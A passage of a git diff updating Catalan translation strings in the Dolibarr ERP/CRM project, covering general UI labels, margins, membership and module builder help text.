https://transifex.com/projects/p/dolibarr/ per a afegir les vostres millores. +SomeTranslationAreUncomplete=Alguns dels idiomes que s'ofereixen poden estar traduïts només parcialment o poden contenir errors. Si us plau, ajudeu a corregir el vostre idioma registrant-vos a https://transifex.com/projects/p/dolibarr/ per a afegir les vostres millores. DirectDownloadLink=Enllaç de descàrrega públic -PublicDownloadLinkDesc=Per baixar el fitxer només es necessita l'enllaç +PublicDownloadLinkDesc=Només cal l'enllaç per a descarregar el fitxer DirectDownloadInternalLink=Enllaç de descàrrega privat PrivateDownloadLinkDesc=Cal estar registrat i amb permisos per a visualitzar o descarregar el fitxer Download=Descarrega DownloadDocument=Baixar el document +DownloadSignedDocument=Descarregar document signat ActualizeCurrency=Actualitza el canvi de divisa Fiscalyear=Any fiscal ModuleBuilder=Generador de mòduls i aplicacions @@ -1023,14 +1034,14 @@ trillion=bilions quadrillion=quadril·ló SelectMailModel=Seleccioneu una plantilla de correu electrònic SetRef=Indica ref -Select2ResultFoundUseArrows=Alguns resultats trobats. Fes servir les fletxes per seleccionar. +Select2ResultFoundUseArrows=S'han trobat alguns resultats. Utilitzeu les fletxes per a seleccionar. Select2NotFound=No s'han trobat resultats Select2Enter=Entrar Select2MoreCharacter=o més caràcter Select2MoreCharacters=o més caràcters Select2MoreCharactersMore=Sintaxi de cerca:
      | O (a|b)
      * Qualsevol caràcter (a*b)
      ^ Comença amb (^ab)
      $ Finalitza amb (ab$)
      Select2LoadingMoreResults=Carregant més resultats -Select2SearchInProgress=Busqueda en progrés... +Select2SearchInProgress=Cerca en curs... SearchIntoThirdparties=Tercers SearchIntoContacts=Contactes SearchIntoMembers=Socis @@ -1051,6 +1062,7 @@ SearchIntoContracts=Contractes SearchIntoCustomerShipments=Enviaments de client SearchIntoExpenseReports=Informes de despeses SearchIntoLeaves=Dies lliures +SearchIntoKM=Base de coneixements SearchIntoTickets=Tiquets SearchIntoCustomerPayments=Pagaments dels clients SearchIntoVendorPayments=Pagaments a proveïdors @@ -1075,7 +1087,7 @@ Deletedraft=Suprimeix l'esborrany ConfirmMassDraftDeletion=Confirmació d'eliminació massiva d'esborranys FileSharedViaALink=Fitxer compartit amb un enllaç públic SelectAThirdPartyFirst=Selecciona un tercer primer -YouAreCurrentlyInSandboxMode=Actualment esteu en el mode %s "sandbox" +YouAreCurrentlyInSandboxMode=Actualment, esteu en el mode «sandbox» %s Inventory=Inventari AnalyticCode=Codi analític TMenuMRP=MRP @@ -1087,7 +1099,7 @@ PaymentInformation=Informació sobre el pagament ValidFrom=Vàlid des de ValidUntil=Vàlid fins NoRecordedUsers=No hi ha usuaris -ToClose=Per tancar +ToClose=Tancar ToRefuse=Refusar ToProcess=A processar ToApprove=Per a aprovar @@ -1122,6 +1134,7 @@ DeleteFileText=Realment vols suprimir aquest fitxer? ShowOtherLanguages=Mostrar altres idiomes SwitchInEditModeToAddTranslation=Canviar a mode d'edició per a afegir traduccions per a aquest idioma NotUsedForThisCustomer=No s'utilitza per a aquest client +NotUsedForThisVendor=No s'utilitza per a aquest venedor AmountMustBePositive=L'import ha de ser positiu ByStatus=Per estat InformationMessage=Informació @@ -1142,15 +1155,29 @@ EventReminder=Recordatori d'esdeveniments UpdateForAllLines=Actualització per a totes les línies OnHold=Fora de servei Civility=Civilitat -AffectTag=Afecta l'etiqueta +AffectTag=Assigna una etiqueta +AffectUser=Assigna un usuari +SetSupervisor=Estableix el supervisor CreateExternalUser=Crea un usuari extern -ConfirmAffectTag=Afecta l'etiqueta massivament -ConfirmAffectTagQuestion=Esteu segur que voleu afectar les etiquetes als registres seleccionats %s? -CategTypeNotFound=No s'ha trobat cap tipus d'etiqueta per al tipus de registres +ConfirmAffectTag=Assignació massiva d'etiquetes +ConfirmAffectUser=Assignació massiva d'usuaris +ProjectRole=Rol assignat a cada projecte/oportunitat +TasksRole=Rol assignat a cada tasca (si s'utilitza) +ConfirmSetSupervisor=Estableix el supervisor massivament +ConfirmUpdatePrice=Trieu una taxa de preu d'augment/disminució +ConfirmAffectTagQuestion=Esteu segur que voleu assignar etiquetes als registres seleccionats %s? +ConfirmAffectUserQuestion=Esteu segur que voleu assignar usuaris als registres seleccionats %s? +ConfirmSetSupervisorQuestion=Esteu segur que voleu establir el supervisor als %s registres seleccionats? +ConfirmUpdatePriceQuestion=Esteu segur que voleu actualitzar el preu dels registres seleccionats %s? +CategTypeNotFound=No s'ha trobat cap mena d'etiqueta per al tipus de registre +Rate=Tipus +SupervisorNotFound=No s'ha trobat el supervisor CopiedToClipboard=Copiat al porta-retalls InformationOnLinkToContract=Aquest import només és el total de totes les línies del contracte. No es té en compte cap noció de temps. ConfirmCancel=Esteu segur que voleu cancel·lar-la? EmailMsgID=Envia un correu electrònic a MsgID +EmailDate=Data del correu electrònic +SetToStatus=Estableix a l'estat %s SetToEnabled=Estableix a activat SetToDisabled=Estableix a desactivat ConfirmMassEnabling=confirmació d'activació massiva @@ -1179,11 +1206,24 @@ Terminated=Baixa AddLineOnPosition=Afegeix una línia a la posició (al final si està buida) ConfirmAllocateCommercial=Assigna la confirmació del representant de vendes ConfirmAllocateCommercialQuestion=Esteu segur que voleu assignar els registres seleccionats (%s)? -CommercialsAffected=Representants comercials afectats -CommercialAffected=Representant de vendes afectat +CommercialsAffected=Agents comercials assignats +CommercialAffected=Agent comercial assignat YourMessage=El teu missatge -YourMessageHasBeenReceived=S'ha rebut el teu missatge. Et respondrem o contactarem el més aviat possible. +YourMessageHasBeenReceived=S'ha rebut el teu missatge. Et respondrem o contactarem al més aviat possible. UrlToCheck=URL per a comprovar Automation=Automatització CreatedByEmailCollector=Creat pel recol·lector de correu electrònic CreatedByPublicPortal=Creat a partir del portal públic +UserAgent=Agent d'usuari +InternalUser=Usuari intern +ExternalUser=Usuari extern +NoSpecificContactAddress=No hi ha cap contacte ni adreça específics +NoSpecificContactAddressBis=Aquesta pestanya està dedicada a forçar contactes o adreces específiques per a l'objecte actual. Utilitzeu-lo només si voleu definir un o diversos contactes o adreces específiques per a l'objecte quan la informació del tercer no sigui suficient o no sigui precisa. +HideOnVCard=Amaga %s +AddToContacts=Afegeix una adreça als meus contactes +LastAccess=Últim accés +UploadAnImageToSeeAPhotoHere=Carregueu una imatge de la pestanya %s per a veure una foto aquí +LastPasswordChangeDate=Data de l'últim canvi de contrasenya +PublicVirtualCardUrl=URL de la pàgina de la fitxa de visita virtual +PublicVirtualCard=Targeta de visita virtual +TreeView=Vista d'arbre diff --git a/htdocs/langs/ca_ES/margins.lang b/htdocs/langs/ca_ES/margins.lang index 0ab8a76b6d0..e0c32c282ad 100644 --- a/htdocs/langs/ca_ES/margins.lang +++ b/htdocs/langs/ca_ES/margins.lang @@ -6,9 +6,10 @@ TotalMargin=Marge total MarginOnProducts=Marge / Productes MarginOnServices=Marge / Serveis MarginRate=Marge sobre cost -MarkRate=Marge sobre venda +ModifyMarginRates=Modificar les taxes de marge +MarkRate=Marge de venda DisplayMarginRates=Mostrar els marges sobre cost -DisplayMarkRates=Mostrar els marges sobre venda +DisplayMarkRates=Mostra els marges de venda InputPrice=Introduir un preu margin=Gestió de marges margesSetup=Configuració de la gestió de marges @@ -22,7 +23,7 @@ ProductService=Producte o servei AllProducts=Tots els productes i serveis ChooseProduct/Service=Tria el producte o servei ForceBuyingPriceIfNull=Forçar preu de cost/compra al preu de venda si no s'ha definit -ForceBuyingPriceIfNullDetails=Si no es proporciona el preu de compra / cost quan afegim una nova línia i aquesta opció està "ACTIVADA", el marge serà 0%% a la nova línia (preu de compra / cost = preu de venda). Si aquesta opció està "DESACTIVADA" (recomanat), el marge serà igual al valor suggerit per defecte (i pot ser 100%% si no es pot trobar cap valor per defecte). +ForceBuyingPriceIfNullDetails=Si el preu de compra/cost no es proporciona quan afegim una línia nova i aquesta opció està «ACTIVADA», el marge serà 0%% a la línia nova (preu de compra/cost = preu de venda). Si aquesta opció està «DESACTIVADA» (recomanat), el marge serà igual al valor suggerit per defecte (i pot ser 100%% si no es troba cap valor per defecte). MARGIN_METHODE_FOR_DISCOUNT=Mètode de gestió de descomptes globals UseDiscountAsProduct=Com un producte UseDiscountAsService=Com un servei @@ -30,16 +31,16 @@ UseDiscountOnTotal=Sobre el total MARGIN_METHODE_FOR_DISCOUNT_DETAILS=Indica si un descompte global es pren en compte com un producte, servei o només en el total a l'hora de calcular els marges. MARGIN_TYPE=Preu de cost suggerit per defecte pel càlcul de marge MargeType1=Marge en el millor preu de proveïdor -MargeType2=Marge en Preu mitjà ponderat (PMP) +MargeType2=Marge sobre el Preu Mitjà Ponderat (PMP) MargeType3=Marge en preu de cost -MarginTypeDesc=* Marge en el millor preu de compra = Preu de venda: el preu del millor proveïdor es defineix a la targeta de producte.
      * Marge en el preu mitjà ponderat (WAP) = preu de venda: el preu mitjà ponderat del producte (WAP) o el millor preu del proveïdor si WAP encara no està definit
      * Marge sobre el preu de cost = Preu de venda: preu de cost definit a la targeta de producte o WAP si el preu de cost no està definit o el millor preu del proveïdor si WAP encara no està definit -CostPrice=Preu de compra +MarginTypeDesc=* Marge del millor preu de compra = Preu de venda - Millor preu de proveïdor definit a la fitxa del producte
      * Marge del Preu Mitjà Ponderat (PMP) = Preu de venda - Preu Mitjà Ponderat del producte (PMP) o el millor preu de proveïdor si encara no s'ha definit el PMP
      * Marge a Preu de cost = Preu de venda - Preu de cost definit a la fitxa del producte o PMP si el preu de cost no està definit, o el millor preu de proveïdor si encara no s'ha definit el PMP +CostPrice=Preu de cost UnitCharges=Càrrega unitària -Charges=Càrreges +Charges=Càrrecs AgentContactType=Tipus de contacte comissionat AgentContactTypeDetails=Definiu quin tipus de contacte (enllaçat en factures) que s’utilitzarà per a l’informe del marge per contacte / adreça. Tingueu en compte que la lectura d’estadístiques d’un contacte no és fiable, ja que en la majoria dels casos es pot no definir explícitament el contacte a les factures. rateMustBeNumeric=El marge ha de ser un valor numèric -markRateShouldBeLesserThan100=El marge té que ser menor que 100 -ShowMarginInfos=Mostrar info de marges +markRateShouldBeLesserThan100=El marge ha de ser inferior a 100 +ShowMarginInfos=Mostra informació de marge CheckMargins=Detall de marges MarginPerSaleRepresentativeWarning=L'informe de marge per usuari utilitza l'enllaç entre tercers i representants de vendes per a calcular el marge de cada representant de venda. Com que és possible que algunes terceres parts no tinguin cap representant de venda dedicat i que hi hagi tercers que estiguin vinculats a diversos, és possible que algunes quantitats no s'incloguin a aquest informe (si no hi ha cap representant de vendes) i que algunes puguin aparèixer en línies diferents (per a cada representant de venda) . diff --git a/htdocs/langs/ca_ES/members.lang b/htdocs/langs/ca_ES/members.lang index 68bcc3adf9f..8f80415fe12 100644 --- a/htdocs/langs/ca_ES/members.lang +++ b/htdocs/langs/ca_ES/members.lang @@ -4,6 +4,8 @@ MemberCard=Fitxa de soci SubscriptionCard=Fitxa cotització Member=Soci Members=Socis +NoRecordedMembers=No hi ha socis registrats +NoRecordedMembersByType=No hi ha socis registrats ShowMember=Mostra la fitxa de soci UserNotLinkedToMember=Usuari no enllaçat a un soci ThirdpartyNotLinkedToMember=Tercer no vinculat a un membre @@ -15,6 +17,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Un altre soci (nom: %s, nom d' ErrorUserPermissionAllowsToLinksToItselfOnly=Per motius de seguretat, se us ha de concedir permisos per a editar tots els usuaris per a poder enllaçar un soci a un usuari que no és vostre. SetLinkToUser=Vincular a un usuari Dolibarr SetLinkToThirdParty=Vincular a un tercer Dolibarr +MemberCountersArePublic=Els comptadors de socis vàlids són públics MembersCards=Generació de carnets per a socis MembersList=Llistat de socis MembersListToValid=Llistat de socis esborrany (per a validar) @@ -34,13 +37,14 @@ DateSubscription=Data d'adhesió DateEndSubscription=Data de finalització de la subscripció EndSubscription=Fi de la pertinença SubscriptionId=Identificador de contribució -WithoutSubscription=Sense aportació +WithoutSubscription=Sense pertinença +WaitingSubscription=Renovació pendent MemberId=Identificador de membre MemberRef=Membre Ref NewMember=Soci nou MemberType=Tipus de soci MemberTypeId=ID de tipus de soci -MemberTypeLabel=Etiqueta de tipus de soci +MemberTypeLabel=Nom de tipus de soci MembersTypes=Tipus de socis MemberStatusDraft=Esborrany (a validar) MemberStatusDraftShort=Esborrany @@ -72,13 +76,19 @@ MemberTypeCanNotBeDeleted=El tipus de soci no es pot eliminar NewSubscription=Aportació nova NewSubscriptionDesc=Aquest formulari us permet registrar la vostra afiliació com a soci nou de l'entitat. Si voleu renovar l'afiliació (si ja sou soci), poseu-vos en contacte amb el gestor de l'entitat per correu electrònic %s. Subscription=Contribució +AnyAmountWithAdvisedAmount=Qualsevol quantitat que escolliu, recomanada %s +AnyAmountWithoutAdvisedAmount=Qualsevol quantitat que escolliu +CanEditAmountShort=Qualsevol import +CanEditAmountShortForValues=recomanat, qualsevol import +MembershipDuration=Duració +GetMembershipButtonLabel=Uneix-te Subscriptions=Aportacions SubscriptionLate=En retard SubscriptionNotReceived=No s’ha rebut cap contribució ListOfSubscriptions=Llista de contribucions SendCardByMail=Enviar una targeta per correu electrònic AddMember=Crea soci -NoTypeDefinedGoToSetup=No s'ha definit cap tipus de soci. Aneu al menú "Tipus de socis" +NoTypeDefinedGoToSetup=No s'ha definit cap mena de soci. Aneu al menú «Tipus de socis» NewMemberType=Tipus de soci nou WelcomeEMail=Correu electrònic de benvinguda SubscriptionRequired=Cal aportació @@ -109,7 +119,7 @@ ForceMemberType=Força el tipus de soci ExportDataset_member_1=Membres i contribucions ImportDataset_member_1=Socis LastMembersModified=Últims %s socis modificats -LastSubscriptionsModified=Últimes contribucions modificades %s +LastSubscriptionsModified=Últimes %s contribucions modificades String=Cadena Text=Text llarg Int=Enter @@ -136,7 +146,7 @@ CardContent=Contingut de la seva fitxa de soci # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=Volem informar-li que s'ha rebut la vostra sol·licitud de subscripció.

      ThisIsContentOfYourMembershipWasValidated=Volem informar-vos que la vostra subscripció s'ha validat amb la informació següent:

      -ThisIsContentOfYourSubscriptionWasRecorded=Volem informar-vos que s'ha registrat la vostra nova subscripció.

      +ThisIsContentOfYourSubscriptionWasRecorded=Volem fer-te saber que la teva nova subscripció s'ha enregistrat. Trobeu la vostra factura aquí adjunta.

      ThisIsContentOfSubscriptionReminderEmail=Volem informar-vos que la vostra subscripció està a punt d'expirar o que ja ha caducat (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Esperem que la renovisqueu.

      ThisIsContentOfYourCard=Aquest és un resum de la informació que tenim sobre vostè. Poseu-vos en contacte amb nosaltres si hi ha alguna cosa incorrecta.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Assumpte del correu electrònic de notificació rebut en cas d'inscripció automàtica d'un convidat @@ -170,8 +180,8 @@ DocForAllMembersCards=Generació de targetes per a tots els socis DocForOneMemberCards=Generació de targetes per a un soci en particular DocForLabels=Generació d'etiquetes d'adreces (Format de plantilla configurat actualment: %s) SubscriptionPayment=Pagament de la contribució -LastSubscriptionDate=Data del darrer pagament de la contribució -LastSubscriptionAmount=Import de la darrera contribució +LastSubscriptionDate=Data de l'últim pagament de contribució +LastSubscriptionAmount=Import de l'última aportació LastMemberType=Darrer tipus de soci MembersStatisticsByCountries=Estadístiques de socis per país MembersStatisticsByState=Estadístiques de socis per província @@ -187,8 +197,8 @@ MembersByNature=Aquesta pantalla us mostra estadístiques dels membres per natur MembersByRegion=Aquesta pantalla us mostra les estadístiques dels membres per regió. MembersStatisticsDesc=Tria les estadístiques que vols consultar... MenuMembersStats=Estadístiques -LastMemberDate=Darrera data de subscripció -LatestSubscriptionDate=Darrera data de contribució +LastMemberDate=Última data d'adhesió +LatestSubscriptionDate=Última data de contribució MemberNature=Naturalesa del membre MembersNature=Naturalesa dels membres Public=La informació és pública @@ -198,9 +208,12 @@ SubscriptionsStatistics=Estadístiques de contribucions NbOfSubscriptions=Nombre de contribucions AmountOfSubscriptions=Import recaptat de les contribucions TurnoverOrBudget=Volum de vendes (empresa) o Pressupost (associació o col.lectiu) -DefaultAmount=Import per defecte de la contribució -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=Anar a la pàgina integrada de pagament en línia +DefaultAmount=Import per defecte de la contribució (només s'utilitza si no es defineix cap import en l'àmbit tipus de soci) +MinimumAmount=Import mínim (només s'utilitza quan l'import de la contribució és gratuït) +CanEditAmount=L'import de la subscripció és gratuït +CanEditAmountDetail=El visitant pot triar/editar la quantitat de la seva contribució independentment del tipus de soci +AmountIsLowerToMinimumNotice=sobre un total d'%s +MEMBER_NEWFORM_PAYONLINE=Després del registre en línia, canvieu automàticament a la pàgina de pagament en línia ByProperties=Per naturalesa MembersStatisticsByProperties=Estadístiques dels membres per naturalesa VATToUseForSubscriptions=Tipus d’IVA a utilitzar per a les aportacions @@ -221,3 +234,5 @@ CreateDolibarrLoginDesc=La creació d'un inici de sessió d'usuari per als membr CreateDolibarrThirdPartyDesc=Un tercer és l'entitat jurídica que s'utilitzarà a la factura si decidiu generar factura per a cada contribució. El podreu crear més endavant durant el procés de gravació de la contribució. MemberFirstname=Nom del membre MemberLastname=Cognom del membre +MemberCodeDesc=Codi de soci, únic per a tots els socis +NoRecordedMembers=No hi ha socis registrats diff --git a/htdocs/langs/ca_ES/modulebuilder.lang b/htdocs/langs/ca_ES/modulebuilder.lang index 0ca1913650a..cde13c6a1c0 100644 --- a/htdocs/langs/ca_ES/modulebuilder.lang +++ b/htdocs/langs/ca_ES/modulebuilder.lang @@ -1,14 +1,16 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Identificador del mòdul ModuleBuilderDesc=Aquesta eina només l'han d'utilitzar usuaris o desenvolupadors experimentats. Proporciona utilitats per a construir o editar el vostre propi mòdul. La documentació per al desenvolupament manual alternatiu és aquí . -EnterNameOfModuleDesc=Introduïu el nom del mòdul/aplicació que voleu crear sense espais. Utilitzeu majúscules per separar paraules (per exemple: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Introduïu el nom de l'objecte que voleu crear sense espais. Utilitzeu majúscules per separar paraules (per exemple: El meu objecte, Estudiant, Professor...). Es generaran el fitxer de classe CRUD, però també el fitxer API, les pàgines per llistar/afegir/editar/suprimir l'objecte i els fitxers SQL. -EnterNameOfDictionaryDesc=Introduïu el nom del diccionari que voleu crear sense espais. Utilitzeu majúscules per separar paraules (per exemple: MyDico...). Es generarà el fitxer de classe, però també el fitxer SQL. +EnterNameOfModuleDesc=Introduïu el nom del mòdul/aplicació que voleu crear sense espais. Utilitzeu majúscules per a separar paraules (per exemple: MyModule, EcommerceForShop, SyncWithMySystem...) +EnterNameOfObjectDesc=Introduïu el nom de l'objecte que voleu crear sense espais. Utilitzeu majúscules per a separar paraules (per exemple: ElMeuObjecte, Estudiant, Professor...). Es generarà el fitxer de classe CRUD, les pàgines per a llistar/afegir/editar/suprimir l'objecte i els fitxers SQL. +EnterNameOfDictionaryDesc=Introduïu el nom del diccionari que voleu crear sense espais. Utilitzeu majúscules per a separar paraules (per exemple: MyDico...). Es generarà el fitxer de classe, però també el fitxer SQL. ModuleBuilderDesc2=Camí on es generen / editen els mòduls (primer directori per als mòduls externs definits en %s): %s ModuleBuilderDesc3=S'han trobat mòduls generats/editables: %s ModuleBuilderDesc4=Es detecta un mòdul com "editable" quan el fitxer %s existeix al directori arrel del mòdul NewModule=Mòdul nou NewObjectInModulebuilder=Objecte nou NewDictionary=Nou diccionari +ModuleName=Nom del mòdul ModuleKey=Clau del mòdul ObjectKey=Clau de l'objecte DicKey=Clau del diccionari @@ -16,11 +18,11 @@ ModuleInitialized=Mòdul inicialitzat FilesForObjectInitialized=S'han inicialitzat els fitxers per al objecte nou '%s' FilesForObjectUpdated=Fitxers de l'objecte '%s' actualitzat (fitxers .sql i fitxer .class.php) ModuleBuilderDescdescription=Introduïu aquí tota la informació general que descrigui el vostre mòdul. -ModuleBuilderDescspecifications=Podeu introduir aquí una descripció detallada de les especificacions del mòdul que encara no està estructurada en altres pestanyes. Així que teniu a la vostra disposició totes les normes que es desenvolupin. També aquest contingut de text s'inclourà a la documentació generada (veure l'última pestanya). Podeu utilitzar el format de Markdown, però es recomana utilitzar el format Asciidoc (comparació entre .md i .asciidoc: http://asciidoctor.org/docs/user-manual/#compared-to-markdown). +ModuleBuilderDescspecifications=Podeu introduir aquí una descripció detallada de les especificacions del vostre mòdul que encara no està estructurada en altres pestanyes. Així que tens a l'abast de totes les regles a desenvolupar. També aquest contingut de text s'inclourà a la documentació generada (vegeu l'última pestanya). Podeu utilitzar el format Markdown, però es recomana utilitzar el format Asciidoc (comparació entre .md i .asciidoc: http://asciidoctor.org/docs/user-manual/#compared-to-markdown). ModuleBuilderDescobjects=Definiu aquí els objectes que voleu gestionar amb el vostre mòdul. Es generarà una classe CRUD DAO, fitxers SQL, una pàgina per a llistar el registre d'objectes, per a crear/editar/visualitzar un registre i una API. ModuleBuilderDescmenus=Aquesta pestanya està dedicada a definir les entrades de menú proporcionades pel teu mòdul. ModuleBuilderDescpermissions=Aquesta pestanya està dedicada a definir els permisos nous que voleu proporcionar amb el vostre mòdul. -ModuleBuilderDesctriggers=Aquesta és la vista dels disparadors proporcionats pel teu mòdul. Per incloure el codi executat quan es posa en marxa un esdeveniment de negoci desencadenat, edita aquest fitxer. +ModuleBuilderDesctriggers=Aquesta és la vista dels disparadors proporcionats pel vostre mòdul. Per a incloure el codi executat quan s'activa un esdeveniment de negoci, només cal que editeu aquest fitxer. ModuleBuilderDeschooks=Aquesta pestanya està dedicada als ganxos (hooks) ModuleBuilderDescwidgets=Aquesta pestanya està dedicada a gestionar/crear ginys. ModuleBuilderDescbuildpackage=Aquí podeu generar un fitxer de paquet "a punt per a distribuir" (un fitxer .zip normalitzat) del vostre mòdul i un fitxer de documentació "a punt per a distribuir". Simplement feu clic al botó per a crear el paquet o el fitxer de documentació. @@ -28,13 +30,13 @@ EnterNameOfModuleToDeleteDesc=Podeu suprimir el vostre mòdul. AVÍS: se suprimi EnterNameOfObjectToDeleteDesc=Podeu suprimir un objecte. AVÍS: Tots els fitxers de codificació (generats o creats manualment) relacionats amb l'objecte s'eliminaran. DangerZone=Zona perillosa BuildPackage=Construeix el paquet -BuildPackageDesc=Podeu generar un paquet zip de la vostra aplicació de manera que estigueu a punt per distribuir-lo a qualsevol Dolibarr. També podeu distribuir-lo o vendre-lo al mercat com DoliStore.com . +BuildPackageDesc=Pots generar un paquet zip de la teva aplicació perquè puguis distribuir-lo a qualsevol Dolibarr. També podeu distribuir-lo o vendre'l a DoliStore.com. BuildDocumentation=Construeix documentació ModuleIsNotActive=Aquest mòdul encara no està activat. Aneu a %s per a publicar-lo o feu clic aquí ModuleIsLive=Aquest mòdul ha estat activat. Qualsevol canvi pot trencar la funció actual en viu. DescriptionLong=Descripció llarga EditorName=Nom de l'editor -EditorUrl=URL d'editor +EditorUrl=URL de l'editor DescriptorFile=Fitxer descriptor del mòdul ClassFile=Fitxer per a la classe CRUD DAO PHP ApiClassFile=Fitxer per la classe PHP API @@ -44,15 +46,18 @@ PageForAgendaTab=Pàgina de PHP per a la pestanya d'esdeveniments PageForDocumentTab=Pàgina de PHP per a la pestanya de documents PageForNoteTab=Pàgina de PHP per a la pestanya de notes PageForContactTab=Pàgina PHP per a la pestanya de contacte -PathToModulePackage=Ruta al zip del paquet del mòdul/aplicació +PathToModulePackage=Camí al zip del paquet del mòdul/aplicació PathToModuleDocumentation=Camí al fitxer de la documentació del mòdul / aplicació (%s) SpaceOrSpecialCharAreNotAllowed=Els espais o caràcters especials no estan permesos. FileNotYetGenerated=El fitxer encara no s'ha generat +GenerateCode=Genera codi RegenerateClassAndSql=Força l'actualització dels fitxers .class i .sql RegenerateMissingFiles=Genera els fitxers que falten SpecificationFile=Fitxer de documentació LanguageFile=Arxiu del llenguatge ObjectProperties=Propietats de l'objecte +Property=Propietat +PropertyDesc=Una propietat és un atribut que caracteritza un objecte. Aquest atribut té un codi, un nom i un tipus amb diverses opcions. ConfirmDeleteProperty=Estàs segur que vols eliminar la propietat %s ? Això canviarà el codi a la classe PHP, però també eliminarà la columna de la definició de la taula de l'objecte. NotNull=No és NULL NotNullDesc=1=Estableix la base de dades en NOT NULL, 0=Permet valors nuls, -1=Permet valors nuls forçant el valor a NULL si està buit ('' o 0) @@ -81,15 +86,16 @@ IsAMeasure=És una mesura DirScanned=Directori escanejat NoTrigger=Sense activador (trigger) NoWidget=Sense widget -GoToApiExplorer=Explorador d'API +ApiExplorer=Explorador d'API ListOfMenusEntries=Llista d'entrades de menú ListOfDictionariesEntries=Llista d'entrades de diccionaris ListOfPermissionsDefined=Llista de permisos definits SeeExamples=Mira exemples aquí -EnabledDesc=Condició per a tenir aquest camp actiu (Exemples: 1 ó $conf->global->MYMODULE_MYOPTION) -VisibleDesc=És visible el camp ? (Exemples: 0=Mai visible, 1=Visible als llistats i als formularis crear/modificar/veure, 2=Visible només als llistats, 3=Visible només als formularis crear/modificar/veure (no als llistats), 4=Visible als llistats i només als formularis modificar/veure (no al de crear), 5=Visible als llistats i només al formulari de veure (però no als formularis de crear i modificar).

      Utilitzant un valor negatiu implicarà que el camp no es mostrarà per defecte als llistats però podrà ser escollit per a veure's).

      pot ser una expressió, per exemple:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      ($user->rights->holiday->define_holiday ? 1 : 0) -DisplayOnPdfDesc=Mostra aquest camp en documents PDF compatibles, podeu gestionar la posició amb el camp "Posició".
      Actualment, els models PDF compatibles coneguts són: eratostene (comanda), espadon (enviament), esponja (factures), cian (propal / pressupost), cornas (comanda del proveïdor)

      = display
      2 = només si no està buit

      Per a les línies de documents:
      0 = no es veuen les
      1 = mostren en una columna
      = 3 = display a la columna de descripció de línia després de la descripció
      4 = display a la columna de descripció després de la descripció només si no està buida -DisplayOnPdf=Visualització en PDF +EnabledDesc=Condició per tenir aquest camp actiu.

      Exemples:
      1
      isModEnabled('MAIN_MODULE_MYMODULE') a0342fccfda19bzLE_Get ='GCCFda19bz0' +VisibleDesc=El camp és visible? (Exemples: 0=Mai visible, 1=Visible a la llista i formularis de creació/actualització/visualització, 2=Visible només a la llista, 3=Visible només al formulari de creació/actualització/visualització (no a la llista), 4=Visible a la llista i actualització/visualització només del formulari (no crear), 5=Visible només al formulari de visualització final de la llista (no crear, no actualitzar).

      L'ús d'un valor negatiu significa que el camp no es mostra per defecte a la llista, però es pot seleccionar per a veure'l). +ItCanBeAnExpression=Pot ser una expressió. Exemple:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Mostra aquest camp en documents PDF compatibles, pots gestionar la posició amb el camp «Posició».
      Per document:
      0 = no es mostra
      1 = es mostra
      2 = es mostra només si no està buit

      Per linies de document:
      0 = no es mostra
      1 = es mostra en una columna
      3 = es mostra en la línia de la columna de descripció després de la descripció
      4 = es mostra a la columna de descripció després de la descripció només si no està buida +DisplayOnPdf=En PDF IsAMeasureDesc=Es pot acumular el valor del camp per a obtenir un total a la llista? (Exemples: 1 o 0) SearchAllDesc=El camp utilitzat per realitzar una cerca des de l'eina de cerca ràpida? (Exemples: 1 o 0) SpecDefDesc=Introduïu aquí tota la documentació que voleu proporcionar amb el vostre mòdul que encara no està definit per altres pestanyes. Podeu utilitzar .md o millor, la sintaxi enriquida .asciidoc. @@ -130,27 +136,40 @@ UseSpecificEditorURL = Utilitzeu editor específic URL UseSpecificFamily = Utilitzeu una família específica UseSpecificAuthor = Utilitzeu un autor específic UseSpecificVersion = Utilitzeu una versió inicial específica -IncludeRefGeneration=La referència de l'objecte s'ha de generar automàticament mitjançant regles de numeració personalitzades +IncludeRefGeneration=La referència d'aquest objecte s'ha de generar automàticament mitjançant regles de numeració personalitzades IncludeRefGenerationHelp=Marqueu-ho si voleu incloure codi per gestionar automàticament la generació de la referència mitjançant regles de numeració personalitzades -IncludeDocGeneration=Vull generar alguns documents a partir de plantilles per a l'objecte +IncludeDocGeneration=Vull que la funció generi alguns documents (PDF, ODT) a partir de plantilles per a aquest objecte IncludeDocGenerationHelp=Si ho marques, es generarà el codi per a afegir una casella "Generar document" al registre. -ShowOnCombobox=Mostra el valor a la llista desplegable +ShowOnCombobox=Mostra el valor en quadres combinats KeyForTooltip=Clau per donar més informació CSSClass=CSS per a editar/crear un formulari CSSViewClass=CSS per al formulari de lectura CSSListClass=CSS per a llistats NotEditable=No editable ForeignKey=Clau forana -TypeOfFieldsHelp=Tipus de camps:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' vol dir que afegim un botó + després de la combinació per crear el registre
      'filtre' és una condició sql, exemple: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=Si el valor d'aquest camp s'ha de garantir que existeix en una altra taula. Introduïu aquí un valor que coincideixi amb la sintaxi: tablename.parentfieldtocheck +TypeOfFieldsHelp=Exemple:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' significa que afegim un botó + després de la combinació per a crear el registre
